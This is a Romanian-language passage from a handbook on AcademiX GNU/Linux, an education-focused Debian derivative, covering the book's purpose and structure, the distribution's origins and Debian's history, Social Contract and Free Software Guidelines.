Primul pas pe această cale este alegerea unei distribuții. Aceasta este o decizie importantă, deoarece
fiecare distribuție are propriile particularități, iar costurile viitoare de migrare pot fi evitate dacă alegerea
corectă se face de la început.

NOȚIUNI DE BAZĂ Mai corect, Linux este doar un nucleu, programul de bază care stă între hardware și aplicații.
Distribuție Linux, Linux kernel O “distribuție Linux” este un sistem de operare complet; de obicei include nucleul Linux, un program de
instalare și, cel mai important, aplicațiile și alte programe necesare pentru transformarea un computer într-un
instrument realmente folositor.

AcademiX este o distribuție Linux pentru educație. Scopul acestei cărți este de a arăta numeroasele sale
aspecte, astfel încât să puteți lua o decizie în cunoștință de cauză atunci când alegeți.

CULTURĂ Majoritatea distribuțiilor Linux sunt susținute de o companie comercială care le dezvoltă și le vinde ca parte a
Distribuții comerciale unei strategii de piață. Exemplele includ Ubuntu, în special dezvoltat de Canonical Ltd.; Red Hat Enterprise
Linux , de la Red Hat; și Suse Linux, întreținută și pusă la dispoziție în formă comercială de către Novell.
La celălalt capăt al spectrului se află nume ca Debian și Apache Software Foundation (care găzduiește
dezvoltarea pentru Apache web server). Debian este mai presus de toate un proiect din sfera software-lui liber,
implementat de voluntari care participă împreună prin internet. În timp ce unii dintre ei lucrează la Debian ca
parte a muncii lor plătite în diverse companii, proiectul în ansamblu nu este legat de nicio companie anume,
acestea nu au o importanță mai mare în problemele proiectului decât o au contribuitorii voluntari.

Linux și-a mărit considerabil de-a lungul anilor aria de acoperire media; cel mai mult beneficiază distribuțiile
susținute de un adevărat departament de marketing — cu alte cuvinte, distribuții susținute de companii
(Ubuntu, Red Hat, SUSE, Mandriva, etc.). Dar Debian este departe de a fi o distribuție neînsemnată; mai multe
studii au arătat de-a lungul anilor că este utilizat pe scară largă atât pe server cât și pe desktop. Acest lucru
este valabil în special printre web server-e unde Debian este cea mai importantă distribuție Linux.

14
➨ https://w3techs.com/technologies/details/os-debian/all/all
Scopul acestei cărți este de a vă ajuta să descoperiți această distribuție. Traducând în română și Manualului
Administratorului Debian, sperăm vom veni în ajutorul a cât mai mulți utilizatori.

Pentru cine este această carte?

Am încercat să facem folositoare această carte pentru mai multe categorii de cititori. În primul rând,
administratorii de sistem (atât începători cât și experimentați) vor găsi explicații despre instalarea și
configurarea Debian pe mai multe calculatoare. Ei vor înțelege de asemenea și majoritatea serviciilor
disponibile în Debian și AcademiX, împreună cu instrucțiuni potrivite de configurare și descrieri ale
particularităților distribuției. Înțelegerea mecanismelor utilizate în dezvoltarea Debian îi va ajuta în confruntări
cu probleme neprevăzute, știind și că pot oricând găsi ajutor în cadrul comunității.
Utilizatorii altor distribuții Linux, sau altor variante de Unix vor descoperi particularitățile Debian, și ar trebui
să devină operativi foarte repede, beneficiind de avantajele unice ale acestei distribuții.
În sfârșit, cititorii care deja au cunoștințe despre Debian și AcademiX, și vor să cunoască mai multe despre
comunitățile din spatele acestora, ar trebui să își vadă satisfăcute așteptările. Această carte ar trebui să îi
aducă mult mai aproape de aderarea la proiecte în calitate de contribuitori.

Abordarea generală
Toată documentația generală pe care o veți găsi despre GNU/Linux se aplică în Debian și AcademiX, din
moment ce acesta include cele mai comune programe libere. Deși aduce multe îmbunătățiri, vom descrie
cum se fac lucrurile în “stilul Debian”, cu prioritate.
Este interesant să urmărim recomandările Debian, dar înțelegerea rațiunii din spatele acestora este și mai
importantă. De aceea, nu ne vom limita numai la explicații practice; vom descrie și modul de funcționare al
proiectului, pentru a vă oferi cunoștințe cât mai cuprinzătoare și substanțiale.

Structura cărții
Această carte se trage din “Manualul Administratorului Debian”, pe care am tradus-o pentru uz personal și
păstrează aceeași abordare, gravitând în jurul unui studiu de caz, oferind atât suport cât și ilustrare pentru
toate subiectele abordate.

NOTĂ Această carte are propriul său sit, care găzduiește orice element care ar putea să-i crească utilitatea. În
Sit web, email-ul autorilor particular, acesta include o versiune online a cărții cu legături accesibile cu un clic, și o posibilă erată. Nu ezitați
să o răsfoiți și să ne lăsați impresiile voastre. Vom fi bucuroși să vă citim comentariile sau mesajele de
susținere. Trimiteți-le prin email la hertzog@debian.org (Raphaël) și lolando@debian.org (Roland).
➨ http://debian-handbook.info/

Capitolul 1 este axat pe o prezentare non-tehnică a proiectului Debian și descrie obiectivele și organizarea
acestuia. Aceste aspecte sunt importante deoarece definesc un cadru de lucru general ce va fi completat
ulterior cu informații concrete, pe parcursul celorlalte capitole.
Capitolele 2 și 3 oferă o prezentare generală a studiului de caz. În acest moment, cititorii începători își pot
face timp să citească anexa B, unde vor găsi un scurt curs de remediere care explică o serie de noțiuni de
bază ale tehnicii de calcul, precum și concepte inerente oricărui sistem Unix.
Vom continua cu subiectul propriu-zis al cărții și vom începe bineînțeles cu procesul de instalare (capitolul
4); capitolele 5 și 6 vor dezvălui uneltele de bază pe care orice administrator Debian le va folosi, precum
cele din familia APT, care este în mare măsură responsabilă pentru reputația excelentă a distribuției. Aceste
capitole nu sunt rezervate nicicum profesioniștilor din moment ce, acasă, oricine poate fi administratorul
propriului sistem.
Capitolul 7 va fi o paranteză importantă; descrie moduri de lucru pentru utilizarea eficientă a documentației
și pentru înțelegerea rapidă a problemelor, în vederea soluționării lor.
Următoarele capitole vor oferi un tur mai detaliat al sistemului, începând cu infrastructura de bază și
serviciile (capitolele 8 până la 10), evoluând progresiv până la aplicațiile utilizatorilor, în capitolul 13.
Capitolul 12 tratează subiecte mai avansate care privesc mai direct pe administratorii de ansambluri mari de

15
sisteme de calcul (inclusiv server-e), pe când capitolul 14 este o scurtă introducere în vastul subiect al
securității informatice, și oferă câteva indicii pentru a evita majoritatea problemelor.
Capitolul 15 este dedicat administratorilor care vor să se implice și mai mult și să creeze propriile pachete
pentru Debian.

VOCABULAR Un pachet Debian este o arhivă care conține toate fișierele necesare instalării unui program. Este în general un
pachet Debian fișier cu extensia .deb și poate fi manipulat cu ajutorul comenzii dpkg. De asemenea, denumit și binary
package, conține fișiere care pot fi direct folosite (precum programe sau documentație). Pe de altă parte, un
pachet sursă conține codul sursă pentru program și instrucțiunile necesare construirii pachetului binar.

Versiunea actuală a cărții Manualul Administratorului Debian este deja a noua ediție (inclusiv primele patru
care erau disponibile doar în limba franceză). Această ediție acoperă versiunea 10 din Debian, numele de
cod Buster. Printre modificări, Debian acceptă acum UEFI Secure Boot, oferind o siguranță suplimentară
împotriva atacurilor asupra infrastructurii de boot și facilitând instalarea Debian pe computerele noi în care
Secure Boot este de obicei activat în mod implicit. Din nou, la nivel de securitate, AppArmor, un sistem de
control obligatoriu al accesului care reglementează ce aplicații sunt permise să efectueze, este acum activat
în mod implicit. Toate pachetele incluse au fost evident actualizate, inclusiv desktopul GNOME, care este
acum în versiunea 3.30.
Am adăugat câteva note și observații în barele laterale. Ele au o varietate de roluri: pot atrage atenția
asupra unei situații dificile, completează o noțiune de studiu de caz, pot defini unii termeni sau pot servi drept
memento-uri. Iată o listă cu cele mai uzuale bare laterale:
• NOȚIUNI DE BAZĂ: o reamintire a unor informații despre care se presupune că sunt cunoscute;
• VOCABULAR: definește un termen tehnic, uneori specific Debian;
• COMUNITATE: evidențiază persoane sau roluri importante în cadrul proiectului;
• POLITICĂ: o regulă sau recomandare din Politica Debian. Acest document este esențial în cadrul
proiectului și descrie modul de împachetare a software-ului. Părțile din politica evidențiată în această
carte aduc beneficii directe utilizatorilor (de exemplu, știind că politica standardizează locația
documentației și exemplele fac mai ușoară găsirea chiar și într-un pachet nou).
• INSTRUMENT: prezintă un instrument sau serviciu relevant;
• ÎN PRACTICĂ: teoria și practica nu se potrivesc întotdeauna; aceste bare laterale conțin sfaturi
rezultate din experiența noastră și mai pot da exemple detaliate și concrete;
• alte bare laterale mai mult sau mai puțin frecvente sunt mai degrabă explicite: CULTURĂ, SFAT,
PRUDENȚĂ, ÎN DETALIU, SECURITATE, etc.
Ne puteți informa despre inadvertențe, greșeli de editare, informații depășite sau subiecte pe care ar trebui
să le acoperim cu adevărat. Sau puteți trimite o cerere de îmbinare cu soluția dvs. pentru orice problemă pe
care ați identificat-o.

16
17
 Repere

Obiectiv
Semnificații
Operație
Voluntar

18
Capitolul 1

1. Proiectul AcademiX
Conţinut
Ce este AcademiX 19
Ce este Debian? 21
Urmăriți Debian News 34
Cum a apărut AcademiX 20 Scopul AcademiX 20 De ce Debian? 21
Documentele fundației 23 Munca internă în Debian Project 26
Rolul distribuțiilor 35 Ciclul unei versiuni 36

Lucrarea de față este despre AcademiX GNU/Linux versiunea 3, o distribuție bazată pe Debian Buster. Pentru
ușurință ,vom spune AcademiX. Necesitatea acestei cărți vine din două motive; Primul motiv este AcademiX,
cred că orice distribuție ar trebui să aibă manualul său. Fiind vorba de Linux, noi nu inventăm nimic. Sunt o
mulțime de tutoriale text și video, lucrări pe diferite subiecte, ce a fost de spus, s-a spus... Cei familiarizați cu
Linux, Debian nu ar trebui să aibă dificultăți în a (ști) găsi și înțelege.
Problema vine odată cu noii veniți, și aici apare al doilea este motiv. Plonjând într-un mediu nou, cum să se
descurce în fața multor provocări, teme și dileme, întrebări, în această mare de informații răspândite în tot
internetul!? Pentru mulți mai este și o problemă de adaptare și înțelegere a faptului că cele două medii
(Windows și Linux) sunt diferite și cer, ca urmare, abordări pe măsură. Mai adăugați și un efort în plus de
învățare.
Noi nu facem decât să selectăm și să punem laolaltă o parte din informațiile de care am beneficiat și noi,
oferind un cadru sistematizat, de referință, noilor utilizatori de Linux, Debian și AcademiX.
Acum, celor care se regăsesc aici, se cuvine recunoștința noastră pentru bunăvoința și știința din care și noi
ne-am adăpat.
Înainte de a ne pătrunde direct în tehnologie, să aruncăm o privire asupra proiectelor AcademiX și Debian,
cu obiectivele, mijloacele și operațiunile lor.

1.1. Ce este AcademiX

AcademiX este o distribuție construită special pentru activități didactice. Conține o multitudine de programe
cu licențe libere pentru învățământ, începând cu clasele primare și terminând cu învățământul universitar,
precum și diverse programe utilitare.
O parte din programe sunt specifice depozitelor Debian, iar altele sunt create și utilizate de diverse
universități de renume din SUA și Europa. Majoritatea programelor pentru educație prezente în această
distribuție sunt sub licența GNU GPL sau BSD, astfel încât costurile se reduc doar la mentenanță.
AcademiX poate fi utilizat ca Live DVD, sau se poate instala independent pe discul dur. Noutatea în această
distribuție este utilitarul cu interfaţă grafică specifică, denumit sugestiv EDU, şi originalitatea programelor
incluse, dintre care amintim laboratoare virtuale, microscopul electronic, simulatoare şi multe alte programe utile.
EDU permite ca un număr de peste 120 de programe pentru educație să fie instalate foarte ușor cu un
simplu clic. Acestea sunt completate cu laboratoare virtuale interactive, precum și un microscop virtual
dezvoltat cu ajutorul NASA. Laboratoarele de robotică completează cu succes lista de programe pentru
educație. O secțiune specială adresată profesorilor, le permite acestora crearea de diverse publicații, atât
pentru uzul elevilor, cât și pentru publicare online.
Aducându-le oarecum aminte celor familiari cu Debian de Synaptic, diferența majoră este că EDU vine, în
interfață complet grafică, cu imagini ale pachetelor incluse (peste 55.000), iar instalarea programelor grupate
în 24 de secțiuni se face cu un simplu click. Aceste secțiuni vor fi prezentate în capitolele următoare. Facem
precizarea că pentru instalarea unui program este nevoie de unul sau mai multe pachete în funcție de alte
programe de care depinde buna funcționare a programului principal.

19
Vine cu interfața MATE, un Mediu de Desktop care oferă echilibrul între un consum redus de resurse și o
interfață modernă și intuitivă, astfel încât distribuția poate rula fără probleme pe calculatoare mai vechi
existente în unitățile de învățământ.

1.1.1. Cum a apărut AcademiX

Ca urmare a efortului deosebit al dezvoltatorului principal al acestei distribuţii, Dumitru Luță, şi a unui grup de
entuziaşti susținuţi în acest demers de prof. dr. Jalobeanu Mihail (mentorul proiectului), în luna ianuarie 2015
apare prima versiune, care se numea EDU Ro dezvoltată din Debian Stretch. Cu aproximativ 120 de
programe destinate educaţiei, ca urmare a cerinţelor utilizatorilor, s-au adăugat mai multe programe iar
numele distribuţiei s-a schimbat în AcademiX.

1.1.2. Scopul AcademiX

După cum dezvoltatorul şi întreaga echipă au afirmat, “avem nevoie de programe potrivite, libere şi stabile, pentru
o educație de calitate”. În acest sens, a fost dezvoltată această distribuţie care se menține în continuare liberă
prin efortul echipei de dezvoltare şi testare1.
Cele 24 de secţiuni incluse în utilitarul de instalare al programelor din AcademiX sunt : Noutăţi, Matematică,
Fizică, Biologie, Chimie, Profesor, Electronică, Geografie, Genetică, Limbi străine, Programare, Arhitectură,
Robotică, Statistică, Laboratoare virtuale, Internet, Multimedia, Birotică, Grafică, Jocuri, Accesorii, Instrumente de
sistem, Fonturi şi Toate pachetele.
Deși Linux a fost făcut pentru viteză, între altele, de ceva timp se încearcă aducerea confortului pentru
utilizatorul mediu final, non-programator, care să găsească un sistem de operare al computerului mai “ușor de
folosit”, care folosește pictograme grafice pe lângă linia de comandă. Este ceea ce se cheamă interfața
grafică, astfel că Linux este la fel de ușor de folosit ca și Windows.

Figura 1.1 Managerul de aplicații EDU

AcademiX poate fi folosit cu ușurință în domenii variate, respectiv matematică, cu ajutorul simulatoarelor pot
fi suplinite materiale didactice costisitoare sau chiar periculoase în cazul laboratorului de chimie, în domeniul
geneticii scurtează mult timpul de observare a fenomenelor specifice, simplifică costurile legate de reactivi
fiind un instrument prietenos şi intuitiv, permite simulări şi multe alte facilități care vor fi prezentate în cadrul
celor 24 de secţiuni.

1.1.3. De ce Debian?
Debian este o disrtibuție GNU/Linux, non-comercială și foarte populară, cunoscută pentru fiabilitatea și
bogăția sa. Proiectul Debian, construit și întreținut de o rețea impresionantă de mii de dezvoltatori din
întreaga lume, este cimentat prin contractul său social. Acest text de bază definește obiectivul proiectului:
satisfacerea nevoilor utilizatorilor cu un sistem de operare liber 100%. Succesul lui Debian și al

1https://academixproject.com/echipa/

20
ecosistemului său de distribuții derivate înseamnă că un număr tot mai mare de administratori sunt prezenți
în tehnologiile Debian.
Să ne gândim: câte pagini de internet v-ar fi lipsit astăzi fără Debian? peste 10% din internet funcționează
datorită lui Debian.
Debian este sistemul de operare ales pe Stația Spațială Internațională și nenumărate companii, universități
și administrații publice se bazează pe Debian pentru pentru a oferi servicii milioanelor de utilizatori de pe
glob și mai departe — orbita acestuia! Debian este într-adevăr un sistem de operare foarte reușit, care și-a
făcut locul în viețile noastre mai mult decât ne dăm seama.
Debian este mult mai mult “decât” un sistem de operare. În primul rând, Debian este o viziune a libertății de
care oamenii ar trebui să se bucure într-o lume într-o lume tot mai dependentă de computere. S-a născut din
ideea fundamentală de software liber, că oamenii ar trebui să poată să-și controleze propriile calculatoare, nu
invers. Cu suficiente cunoștințe software ar trebui să puteți dezasambla, modifica, reasambla și partaja cu alții
tot software-ul care contează pentru dvs, indiferent că este folosit în activități banale ca postarea de poze cu
pisoi pe internet, sau pentru sarcini serioase, ideea e că ar trebui să-l controlăm.
Manualul AcademiX, prin urmare, va conține multe elemente din Manualul Administratorului Debian:
Puteți instala această carte, o puteți redistribui, “furca”, puteți chiar trimite rapoarte de eroare și remedieri, astfel încât
alți cititori să beneficieze de feedback-ul dvs. Întreținătorii acestei cărți — care sunt și autorii acesteia — sunt de mult
timp membri ai Proiectului Debian și înțeleg cu adevărat spiritul său.

O carte care dezvăluie elementele esențiale oricărui dorește să devină administrator eficient și independent
pe Debian GNU/Linux, și pe distribuțiile bazate pe Debian. Acoperă toate subiectele de la instalare la
actualizarea sistemului, crearea de pachete și compilarea kernel-ului, dar și monitorizarea, backup-ul și
migrarea, fără a uita de subiecte avansate, cum ar fi configurarea SELinux sau AppArmor pentru a asigura
servicii, instalări automate sau virtualizare cu Xen, KVM sau LXC.
Manualul AcademiX nu este numai pentru administratorii de sistem profesioniști. Oricine instalează și
folosește AcademiX sau Debian pe propriul computer este de fapt administrator și va considera important să
știe mai multe despre modul în care funcționează sistemul lui. Înțelegând și rezolvând problemele veți
economisi timp neprețuit.

1.2. Ce este Debian?

CULTURĂ Nu căutați prea departe: Debian nu este un acronim. Acest nume este, în realitate, forma contrasă a două nume:
Originea numelui Debian cel al lui Ian Murdock, și al prietenei sale la acea vreme, Debra. Debra + Ian = Debian.

Debian este o distribuție GNU/Linux. Vom discuta despre ce este o distribuție mai detaliat în secțiunea
1.6. “Rolul Distribuțiilor” pagina 35, dar deocamdată, vom afirma pur și simplu că este un sistem de operare
complet, inclusiv software și sisteme pentru instalare și management, toate bazate pe nucleul Linux și
software liber (în special pe cele din proiectul GNU). Toată această combinație se regăsește în titulatura
oficială a distribuției (Debian GNU/Linux, la care ține foarte mult), chiar dacă pe numele mic i se zice Debian.
Când Ian Murdock a creat Debian în 1993 sub conducerea FSF, a avut obiective clare pe care le-a exprimat
în Manifestul Debian. Ceea ce a urmărit la Sistemul de operare liber trebuia să aibă două funcții principale. În
primul rând de calitate: Debian ar fi dezvoltat cu cea mai mare grijă, pentru a fi demn de nucleul Linux. De
asemenea, ar fi o distribuție non-comercială, suficient de credibilă pentru a concura cu distribuțiile
comerciale majore. Această dublă ambiție ar fi realizată, în ochii săi, doar prin deschiderea procesului de
dezvoltare al lui Debian exact ca acela al Linux-lui și al proiectului GNU. Astfel, analizele atente ar îmbunătăți
produsul.

CULTURĂ Proiectul GNU este o gamă de software liber dezvoltat sau sponsorizat de Free Software Foundation (FSF),
GNU, Proiectul FSF creat de liderul său emblematic, Dr. Richard M. Stallman. GNU este un acronim recursiv, reprezentând “GNU
nu este Unix”.

CULTURĂ Fondatorul FSF și autorul licenței GPL, Richard M. Stallman (la care se face referire prin inițialele sale, RMS)
Richard Stallman este un lider carismatic al mișcării Free Software. Datorită pozițiilor sale fără compromis, el nu este admirat în
unanimitate, dar contribuțiile sale non-tehnice la software liber (în special la nivel juridic și filosofic) sunt
respectate de toată lumea.

21
1.2.1. Un sistem de operare multi-platformă
COMUNITATE Ian Murdock, fondatorul proiectului Debian, a fost primul său lider din 1993 până în 1996. După ce i-a predat
Proiectul lui Ian Murdock ștafeta lui Bruce Perens, Ian a ocupat un rol mai puțin public. S-a întors să lucreze în culisele comunității de
software liber, creând compania Progeny, cu intenția de a comercializa o distribuție derivată din Debian. Din
păcate, această aventura a fost un eșec comercial, iar dezvoltarea a fost abandonată. Compania, după câțiva ani
de încercări, pur și simplu ca furnizor de servicii, a depus în final falimentul în aprilie 2007. Dintre diferitele
proiecte inițiate de Progeny, a rămas doar discover. Este un instrument de detectare automată a hardware-ului.
Ian Murdock a murit pe 28 decembrie 2015 la San Francisco, după o serie de tweet-uri îngrijorătoare în care a
raportat că a fost agresat de poliție. În iulie 2016, a fost anunțat decesul său, acesta fiind clasat ca sinucidere.

Ian Murdock a murit pe 28 decembrie 2015 la San Francisco, după o serie de tweet-uri îngrijorătoare în care a
raportat că a fost agresat de poliție. În iulie 2016, a fost anunțat decesul său, acesta fiind clasat ca
sinucidere.
Rămânând fidel principiilor sale inițiale, Debian a avut atât de mult succes încât astăzi a ajuns la o
dimensiune extraordinară. Cele 12 variante oferite acoperă 10 arhitecturi hardware și 2 nuclee (Linux și
FreeBSD, deși porturile bazate pe FreeBSD nu fac parte din setul de arhitecturi acceptate oficial). Mai mult, cu
peste 21.000 de pachete sursă, software-ul disponibil poate satisface aproape orice nevoie pe care o poate
avea cineva, acasă sau la întreprindere.
Dimensiunea reală a distribuției poate fi incomodă: este într-adevăr nejustificată distribuirea a 84 de CD-
ROM-uri pentru a instala o versiune completă pe un computer standard... Iată de ce Debian este considerat
din ce în ce mai mult ca o “meta-distribuție”, din care se extrag mai multe distribuții specifice destinate unui
anumit public: Debian-Desktop pentru uz tradițional de birou, Debian-Edu pentru educație și utilizare
pedagogică într-un mediu academic, Debian-Med pentru aplicații medicale, Debian-Junior pentru copii mici,
etc. O listă mai completă de subproiecte pot fi găsite în secțiunea dedicată acestui scop, secțiunea
1.4.3.1. “Subproiecte existente în Debian” pagina 32.
Aceste concepte parțiale ale Debian sunt organizate într-un cadru bine definit, garantând astfel o
compatibilitate fără probleme între diversele “sub-distribuții”. Toate urmează planificarea generală pentru
lansarea noilor versiuni. Și din moment ce se bazează pe aceleași fundații, pot fi ușor extinse, completate și
personalizate cu aplicațiile disponibile în depozitele Debian.
Toate instrumentele Debian funcționează în această direcție: debian-cd a permis de multă vreme crearea
unui set de CD-ROM-uri care conțin doar o serie de pachete preselectate; debian-installer este, de
asemenea, un instalator modular, ușor de adaptat nevoilor speciale. APT va instala pachete din diverse
origini, garantând în același timp coerența generală a sistemului.

INSTRUMENT debian-cd creează imagini ISO ale suporturilor de instalare (CD, DVD, Blu-Ray etc.) gata de utilizare. Orice
Crearea unui CD-ROM Debian problemă cu privire la acest software este discutată (în engleză) pe debian-cd@lists.debian.org. Echipa este
condusă de Steve McIntyre, care se ocupă de construcțiile oficiale ISO Debian.

NOȚIUNI DE BAZĂ Termenul “arhitectură” indică un tip de computer (cele mai cunoscute includ Mac sau PC). Fiecare arhitectură
Fiecare computer cu este diferențiată în primul rând în funcție de procesorul său, de obicei incompatibil cu alte procesoare. Aceste
arhitectura sa diferențe de hardware implică diferite moduri de operare, necesitând astfel compilarea software-ului special
pentru fiecare arhitectură.
Majoritatea software-ului disponibil în Debian este scris în limbaje de programare portabile: același cod sursă
poate fi compilat pentru arhitecturi diferite. De fapt, un binar executabil întotdeauna compilat pentru o
arhitectură specifică nu va funcționa, de regulă, pe celelalte arhitecturi.
Reamintim că fiecare program este creat prin scrierea codului sursă; acest cod sursă este un fișier text format din
instrucțiuni într-un limbaj de programare dat. Înainte de a putea utiliza software-ul este necesar să compilați
codul sursă, ceea ce înseamnă transformarea codului într-un binar (o serie de instrucțiuni ale mașinii executabile
de procesor). Fiecare limbaj de programare are un compilator specific pentru a executa această operație (de
exemplu, gcc pentru limbajul de programare C).

INSTRUMENT debian-installer este programul de instalare Debian. Fiind modular, este utilizabil într-o gamă largă de
Instalatorul scenarii de instalare. Lucrările de dezvoltare, conduse de Cyril Brulebois, sunt coordonate pe lista: debian-
boot@lists.debian.org.

1.2.2. Calitatea software-ului liber

Debian respectă toate principiile software-ului liber, iar noile sale versiuni nu sunt publicate până nu sunt
gata. Dezvoltatorii nu sunt forțați de o anumită planificare, nici obligați să se grăbească să îndeplinească un
termen arbitrar. Unii se plâng frecvent de timpul lung între lansările stabile Debian, dar această precauție

22
asigură și fiabilitatea legendară: sunt într-adevăr necesare multe luni de testare pentru ca distribuția
completă să primească eticheta “stabilă”.
Debian nu va face compromisuri în ceea ce privește calitatea: toate erorile critice cunoscute sunt rezolvate
în orice versiune nouă, chiar dacă acest lucru cere ca data lansării prognozate inițial să fie amânată din
nou.

1.2.3. Cadrul legal: o organizație non-profit

Legal vorbind, Debian este un proiect gestionat de o asociație voluntară americană fără profit.
Proiectul are în jur de o mie de dezvoltatori Debian, dar reunește un număr mult mai mare de participanți
(traducători, raportori de erori, artiști, dezvoltatori ocazionali, etc.).
Pentru a-și duce misiunea la bun sfârșit, Debian are o infrastructură mare, cu multe server-e conectate pe
internet, oferite de mulți sponsori.

COMUNITATE Debian nu deține niciun server în nume propriu, el fiind doar un proiect din cadrul asociației Software in the
În spatele Debian, asociația SPI Public Interest (SPI), care gestionează aspectele hardware și financiare (donații, achiziționarea de hardware etc.).
și sucursalele locale Creată inițial special pentru proiectul Debian, acum găzduiește alte proiecte software liber, în special baza de
date PostgreSQL, Freedesktop.org (proiect pentru standardizarea diferitelor părți ale mediilor moderne de
desktop , ca GNOME și KDE) și suita de birou Libre Office.
➨ http://www.spi-inc.org/
Pe lângă SPI, diverse asociații locale colaborează strâns cu Debian pentru a genera fonduri pentru Debian, fără a
centraliza totul în SUA: sunt cunoscute sub numele de “Trusted Organizations”, în jargonul Debian. Această
configurație evită costurile de transfer internațional prohibitive și se potrivește bine cu natura descentralizată a
proiectului.
Nu ezitați să vă alăturați asociației dvs. locale și să susțineți proiectul!
➨ http://wiki.debian.org/Teams/Auditor/Organizations
➨ http://france.debian.net/
➨ http://www.debian-es.org/
➨ http://debian.ch/

1.3. Documentele Fundației

La câțiva ani de la lansarea inițială, Debian a oficializat principiile pe care ar trebui să le urmeze ca proiect
de software liber. Această decizie activistă, în mod deliberat, permite o creștere ordonată și pașnică,
asigurându-se că toți membrii progresează în aceeași direcție. Pentru a deveni dezvoltator Debian, orice
candidat trebuie să-și confirme și să-și demonstreze susținerea și respectarea principiilor stabilite în
documentele de fundație ale proiectului.
Procesul de dezvoltare este în permanență dezbătut, dar aceste documente ale fundației sunt acceptate
consensual pe scară largă astfel încât se schimbă foarte rar. Constituția Debian oferă și alte garanții pentru
stabilitatea lor: o majoritate calificată de trei sferturi este necesară pentru a aproba orice modificare.

1.3.1. Angajamentul față de utilizatori

Proiectul are și un “contract social”. Ce loc are un astfel de text într-un proiect destinat doar dezvoltării unui
sistem de operare? Este destul de simplu: Debian funcționează pentru utilizatorii săi și, prin extensie, pentru
societate. Acest contract rezumă angajamentele asumate de proiect. Să le studiem mai detaliat
1. Debian va rămâne 100% liber. Aceasta este regula Debian nr. 1. Este și va rămâne compus integral
și exclusiv din software liber. În plus, toată dezvoltarea software în cadrul proiectului Debian în sine va
fi liberă.

PERSPECTIVĂ Prima versiune a Contractului social Debian spunea “Debian va rămâne 100% Free Software”.
Dincolo de software Dispariția acestui cuvânt (cu ratificarea versiunii 1.1 a contractului din aprilie 2004) indică voința de
a obține libertatea, nu numai în software, ci și în documentație și orice alt element pe care Debian
dorește să îl furnizeze în sistemul său de operare.
Această schimbare, care a fost gândită doar editorial, a avut în realitate numeroase consecințe, în
special cu eliminarea unor documentații problematice. Mai mult, utilizarea din ce în ce mai mare a
firmware-ului în drivere pune probleme: multe dintre ele nu sunt libere, dar sunt necesare pentru
funcționarea corectă a hardware-ului corespunzător.

23
 2. Vom da comunității software liber. Orice îmbunătățire prin contribuția proiectului Debian la o lucrare
integrată în distribuție este trimisă înapoi autorului lucrării (numit “amonte — upstream”). În general,
Debian va coopera cu comunitatea și nu va lucra izolat.

COMUNITATE Termenul de “upstream author” înseamnă autorul/autorii/dezvoltatorii unei opere, cei care o scriu
Upstream author sau (forma originală, numită upstream — “în amonte" ) și o dezvoltă. Pe de altă parte, un “dezvoltator
dezvoltator Debian? Debian” folosește o lucrare existentă pentru a o transforma într-un pachet Debian (termenul
“Întreținător Debian” este mai potrivit).
În practică, distincția nu este adesea la fel de clară. Întreținătorul Debian poate scrie un patch, de care
să beneficieze toți utilizatorii lucrării. În general, Debian îi încurajează pe cei responsabili de un
pachet din Debian să se implice și în dezvoltarea “în amonte” (ei devin atunci contribuabili, fără a se
limita la rolul utilizatorilor simpli ai unui program).

3. Nu vom ascunde probleme. Debian nu este perfect și, vom găsi noi probleme de rezolvat în fiecare zi.
Vom menține întreaga bază de date privind raportul de erori deschisă pentru vizualizarea publică în
orice moment. Rapoartele pe care oamenii le depun online vor deveni vizibile pentru alții.
4. Prioritățile noastre sunt utilizatorii și software-ul liber. Acest angajament este mai dificil de definit.
Debian impune, astfel, o influență atunci când trebuie luată o decizie și va renunța la o soluție
ușoară pentru dezvoltatori, care va pune în pericol experiența utilizatorului, optând pentru o soluție
mai elegantă, chiar dacă este mai dificil de implementat. Aceasta înseamnă să ținem seama, ca
prioritate, de interesele utilizatorilor și de software-ul liber.
5. Lucrări care nu corespund standardelor noastre de software liber. Debian acceptă și înțelege că
utilizatorii pot dori să utilizeze unele programe care nu sunt libere. Acesta este motivul pentru care
proiectul permite utilizarea unor părți din infrastructura sa pentru a distribui pachete Debian de
programe software libere, care pot fi redistribuite în siguranță.

COMUNITATE Angajamentul de a menține o structură pentru cuprinderea software-ului non-liber (adică secțiunea
Pro sau contra secțiunii non- “non-free”, vezi bara laterală “Arhivele main, contrib și non-free” pagina 98) este frecvent
libere subiect de dezbatere în cadrul comunității Debian.
Detractorii susțin că îi îndepărtează pe oameni de echivalentele software-ului liber și contrazic
principiul de a servi doar cauza software-ului liber. Susținătorii afirmă cu tărie că majoritatea
pachetelor care nu sunt libere sunt “aproape libere” și reținute doar de una sau două restricții
enervante (cea mai frecventă fiind interdicția împotriva utilizării comerciale a software-ului).
Distribuind aceste lucrări în secțiunea non-free, îi explicăm în mod indirect autorului cum creația lor
ar fi mai bine cunoscută și mai folosită dacă ar putea fi incluse în secțiunea principală. Astfel, ei sunt
invitați politicos să își modifice licența pentru a îndeplini acest scop.
După o primă încercare nefructuoasă din 2004, ștergerea completă a secțiunii non-liberă este puțin
probabil să revină pe ordinea de zi, mai ales deoarece conține multe documente utile, care au fost
mutate pur și simplu, pentru că nu îndeplinesc noile cerințe pentru secțiunea principală. Acesta este
în special cazul anumitor fișiere de documentație software emise de proiectul GNU (în special,
Emacs și Make).
Existența continuă a secțiunii care nu este liberă este o sursă de fricțiuni ocazională cu Free Software
Foundation și este principalul motiv pentru care aceasta refuză să recomande oficial Debian ca
sistem de operare.

1.3.2. Ghidul software-ului liber Debian

Acest document de referință definește ce software este “suficient de liber” pentru a fi inclus în Debian. Dacă
licența unui program este în conformitate cu aceste principii, aceasta poate fi inclusă în secțiunea principală;
dimpotrivă, și cu condiția ca distribuirea liberă să fie permisă, aceasta poate fi găsită în secțiunea care nu
este liberă. Secțiunea non-free nu face parte oficial din Debian; este un serviciu adăugat oferit utilizatorilor.
Mai mult decât un criteriu de selecție pentru Debian, acest text a devenit o autoritate în ceea ce privește
software-ul liber și a servit ca bază pentru “Definirea surselor deschise”. Din punct de vedere istoric este, prin
urmare, una dintre primele definiții formale ale conceptului de “free software”.
GNU General Public License, BSD License și Artistic License sunt exemple de licențe libere tradiționale care
urmăresc cele 9 puncte menționate în acest text. Mai jos veți găsi textul așa cum este publicat pe situl
Debian.
➨ http://www.debian.org/social_contract#guidelines
1. Redistribuirea liberă. Licența unei componente Debian nu poate restricționa nicio parte din
vânzarea sau cedarea software-ului ca o componentă a unei distribuții agregate de software care

24
 conține programe din mai multe surse diferite. Licența nu poate impune o redevență sau alte
taxe pentru o astfel de vânzare.
